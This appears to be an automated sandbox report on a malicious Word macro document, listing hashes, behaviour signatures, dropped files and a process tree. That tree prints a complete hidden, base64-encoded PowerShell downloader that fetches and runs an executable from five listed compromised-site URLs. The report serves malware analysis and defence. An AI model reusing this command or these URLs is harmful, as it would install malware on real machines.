Analysis

  • max time kernel
    101s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-09-2024 10:15

General

  • Target

    e48e7bd7b1bc694f6a5e4e0a5d46fea3_JaffaCakes118.doc

  • Size

    203KB

  • MD5

    e48e7bd7b1bc694f6a5e4e0a5d46fea3

  • SHA1

    4a94a590731617dd92abcaebfad0ec21814a8196

  • SHA256

    a461e68a56f148dd8229948f29e1afba3ec22bba86556917fde3b00e2c9d5f44

  • SHA512

    86e8aa8d13499de8fccb09a12a4314c86cb29dfa4ed8bcc849c38df0fd31ed021d18c666b6e762e36e34fee1b671b54c0e91355255f8b2c7d17dc32ae3aab9d0

  • SSDEEP

    3072:DSi2y/GdytktGDWLS0HZWD5w8K7Nk9EpD7IBUfkGftl3r+V9S:Wi2k4NtGiL3HJk9EpD7bfd33r+Vc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.trangiabds.com/wp-admin/88IHJgsuqF/

exe.dropper

https://kashifclothhouse.com/wp-admin/Pzv6563/

exe.dropper

https://hgklighting.com/wp-admin/V5i324/

exe.dropper

https://gloriapionproperties.com/wp-content/9k16/

exe.dropper

https://azatea.com/pytosj2jd/e5X381802/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e48e7bd7b1bc694f6a5e4e0a5d46fea3_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2068
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2220
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABLAHAAZQBoAHYAbgB1AGcAYwBpAHEAcAA9ACcASgBzAHYAcQBsAGIAYwB3AGoAYQBlAHoAdgAnADsAJABSAHEAbwB1AGEAYwBlAHAAIAA9ACAAJwA4ADcAOQAnADsAJABQAHUAeABuAG4AegB4AHcAcgB1AD0AJwBBAHAAbQBjAGgAbwBsAGgAJwA7ACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAcQBvAHUAYQBjAGUAcAArACcALgBlAHgAZQAnADsAJABFAHAAcwBuAGYAZQBkAHcAcwB4AGkAPQAnAFYAcgB2AG0AawB2AHkAegBxAHEAYgB3ACcAOwAkAEoAdwBoAGQAbAB4AG0AZgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgB3AEUAYgBjAEwAaQBlAG4AVAA7ACQAQQBkAHEAeAB5AHUAegBkAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB0AHIAYQBuAGcAaQBhAGIAZABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADgASQBIAEoAZwBzAHUAcQBGAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AUAB6AHYANgA1ADYAMwAvACoAaAB0AHQAcABzADoALwAvAGgAZwBrAGwAaQBnAGgAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgA1AGkAMwAyADQALwAqAGgAdAB0AHAAcwA6AC8ALwBnAGwAbwByAGkAYQBwAGkAbwBuAHAAcgBvAHAAZQByAHQAaQBlAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA5AGsAMQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AYQB6AGEAdABlAGEALgBjAG8AbQAvAHAAeQB0AG8AcwBqADIAagBkAC8AZQA1AFgAMwA4ADEAOAAwADIALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAQgByAGgAbABxAGUAYwBxAGkAdgB6AD0AJwBUAHUAYwBuAHIAawB3AHEAawBtAGIAYQAnADsAZgBvAHIAZQBhAGMAaAAoACQASgB6AGgAYwB2AHEAagByAHkAIABpAG4AIAAkAEEAZABxAHgAeQB1AHoAZAApAHsAdAByAHkAewAkAEoAdwBoAGQAbAB4AG0AZgAuACIARABPAFcAbgBgAGwAbwBBAEQAYABGAEkAbABlACIAKAAkAEoAegBoAGMAdgBxAGoAcgB5ACwAIAAkAEoAbwBoAHgAbwBjAGUAbgBpAGYAaABjACkAOwAkAE8AbgB5AHEAcgBtAHAAYgBmAGwAPQAnAEwAcQBlAGoAYQBtAHIAYwBmAGUAbwBkACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAKQAuACIATABFAE4AYABHAHQASAAiACAALQBnAGUAIAAyADcAMwAyADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAEEAYABSAHQAIgAoACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAKQA7ACQAWABxAGYAZgBsAGUAdgBvAGQAawBlAGkAaAA9ACcAUAByAGIAegB5AGcAbABiAG0AcABqAGoAJwA7AGIAcgBlAGEAawA7ACQAWgB1AGgAZgBwAHIAawB6AGYAYQA9ACcAQwBiAHoAdgBkAGoAeQBvAG8AeABjACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBwAHQAcQBiAHUAcwBlAGUAPQAnAEQAcwBsAGcAcABsAGEAbQBqAGQAagBjAHEAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2760

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\920EF31F.wmf

      Filesize

      444B

      MD5

      7608d2151584f51ae8d162ef982ad10b

      SHA1

      7cc8fa6a0abe80e1c167d380c35afeee2eda238c

      SHA256

      741b93f099268de3641e57d2613df95849f51d795e99ee97f141b1559490f330

      SHA512

      9089ca49c17037922eae0788259d225d6c6c3e078ca7aa34167ac5b5d431a38728af587c4aed8535bd807566b4d38e8a1171808949fb1a944f2ad6ad2bb03d92

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      1372a2f9fa380cdd0b94400b8bd8afb4

      SHA1

      4dccf559f682105600452b850fc7c3011a787115

      SHA256

      6e9813e78aefd667cc3a54e09bd46d4df3f8c16dac76ef9eeb1d4147ef3534e3

      SHA512

      c6efd297213b903fdf659fea2fcb1dbf584bfc12a0695c86d7f7d251e09afda0913d32b3d10f88e42711846cd479f3be171777ef261b594b49425d0c24cee0c4

    • memory/2068-25-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-66-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-0-0x000000002FAC1000-0x000000002FAC2000-memory.dmp

      Filesize

      4KB

    • memory/2068-14-0x00000000060E0000-0x00000000061E0000-memory.dmp

      Filesize

      1024KB

    • memory/2068-18-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-19-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-22-0x00000000060E0000-0x00000000061E0000-memory.dmp

      Filesize

      1024KB

    • memory/2068-21-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-17-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-65-0x00000000712FD000-0x0000000071308000-memory.dmp

      Filesize

      44KB

    • memory/2068-2-0x00000000712FD000-0x0000000071308000-memory.dmp

      Filesize

      44KB

    • memory/2068-5-0x0000000005FB0000-0x00000000060B0000-memory.dmp

      Filesize

      1024KB

    • memory/2068-23-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-39-0x00000000712FD000-0x0000000071308000-memory.dmp

      Filesize

      44KB

    • memory/2068-40-0x0000000005FB0000-0x00000000060B0000-memory.dmp

      Filesize

      1024KB

    • memory/2068-41-0x00000000060E0000-0x00000000061E0000-memory.dmp

      Filesize

      1024KB

    • memory/2068-42-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-43-0x00000000060E0000-0x00000000061E0000-memory.dmp

      Filesize

      1024KB

    • memory/2068-44-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2068-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2068-60-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2760-32-0x0000000002320000-0x0000000002328000-memory.dmp

      Filesize

      32KB

    • memory/2760-31-0x000000001B2B0000-0x000000001B592000-memory.dmp

      Filesize

      2.9MB